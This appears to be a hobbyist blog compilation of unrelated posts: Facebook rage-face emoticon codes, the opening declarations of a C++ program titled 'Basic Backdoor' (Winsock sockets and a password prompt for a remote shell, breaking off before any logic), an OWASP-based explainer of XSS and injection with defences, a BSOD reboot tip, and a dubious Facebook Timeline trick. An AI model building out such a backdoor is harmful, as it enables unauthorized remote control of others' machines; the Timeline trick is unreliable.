CREATE RAGE FACES IN FACEBOOK

CREATE RAGE FACES IN FACEBOOK

·   Troll face: [[171108522930776]]

·   ARE YOU FUCKING KIDDING ME: [[143220739082110]]

·   Not bad Obama: [[169919399735055]]

·   Me Gusta: [[211782832186415]]

·   Mother of God: [[142670085793927]]

·   Cereal Guy: [[170815706323196]]

·   LOL Face: [[168456309878025]]

·   NO Guy: [[167359756658519]]

·   Yao Ming: [[218595638164996]]

·   Derp: [[224812970902314]]

·   Derpina: [[192644604154319]]

·   Forever Alone: [[177903015598419]]

·   Not Bad: [[NotBaad]]

·   Fuck yeah: [[105387672833401]]

·   Challenge accepted: [[100002727365206]]

·   Okay face: [[100002752520227]]

·   Dumb bitch: [[218595638164996]]

·   Poker face: [[129627277060203]]

·   Okay face: [[224812970902314]]

·   Socially awkward penguin: [[98438140742]]

·   Rage face: [[FUUUOFFICIAL]]

·   Lamp: [[100001256102462]]

·   No: [[167359756658519]]

·   MOG: [[142670085793927]]

·   Feel like a sir: [[168040846586189]]

·   Forever alone Christmas: [[125038607580286]]

Basic Backdoor C++

Basic Backdoor C++

---------------------- C++ Code -------------------------->

/*

 Don't forget to link winsock32.lib otherwise your compiler won't understand the sockets

*/

#include <stdio.h> 

#include <stdlib.h>

#include <windows.h>

#include <string.h>

//our variables, we need them globally to use them in all functions

    const char welcome[]="Welcome, enter your password please: ";

    char bufferin[1024]; //the buffer to read data from socket

    char bufferout[65535]; //the buffer to write data to the socket

    int i,port; // i is used for loop , port is going to keep the portnumber

    SOCKET locsock,remsock;  //the sockets we are going to need

    SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets

    WSADATA wsadata; //wsadata 

    STARTUPINFO startinfo; //startupinfo structure for CreateProcess

    SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess

    PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess

    int bytesWritten;  //number of bytes written gets stored here

    DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available 

                                    //and the exitcode

10 REASONS WHY WEBSITE GET HACKED

10 REASONS WHY WEBSITE GET HACKED

1. Cross site scripting (XSS)

The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.

Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.

2. Injection flaws         

                                   

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.

Disable Automatic Reboot on Error

Disable Automatic Reboot on Error (Blue Screen Of Death)

If you are suffering from the BSOD (Blue Screen Of Death) or other problems the PC stops due to the stop error and then, in default configuration, automatically reboots.

Chances are good that you want to know what is going wrong and how to fix the stop errors. Well, you can't just say "It's rebooting, what's wrong." With that little bit of information no one will be able to help you fix it. Instead we need to know the "stop error" and the exact wording for the reason that it stopped so that we can diagnose the problem. Then, and only then, will we have enough information to help solve your problem.

Older operating systems used to do it nicely and just plain stop... Now? Now it reboots for you because that is generally easier than it is to worry about the problem. Let's stop that shall we? It would make it easier for all of us if we could know the exact error message after all...

Click the Start button

Click Run...

Type sysdm.cpl

Click OK

In the System Properties window click the Advanced tab

In the Startup and Recovery area click the Settings button

In the Startup and Recovery window UNcheck "Automatically Restart" (in the System Failure area)

Click OK and then click OK again

ENJOY -)

How to Disable Published TimeLine from Facebook Account

How to Disable Published TimeLine from Facebook Account

So You Want to disable facebook time line.....

Follow the instructions Carefully.... 

1. Click on Account Settings...

2. then Click on Security Tab... and Deactivate your account.... :D  I am not kidding... dude..

3. After deactivation.. Activate your account again after atleast 10 hours.. 

4. and here we done.... Your Activated Account is now.. Without Facebook Timeline and on News Feed section.. Facebook will suggest you to activate Time line again... if you wish to activate then click there (Hope you will not click there) otherwise your Facebook Profile is now without Time Line... :)

You Can also reactivate time line whenever you want... so that's Cool and verified trick..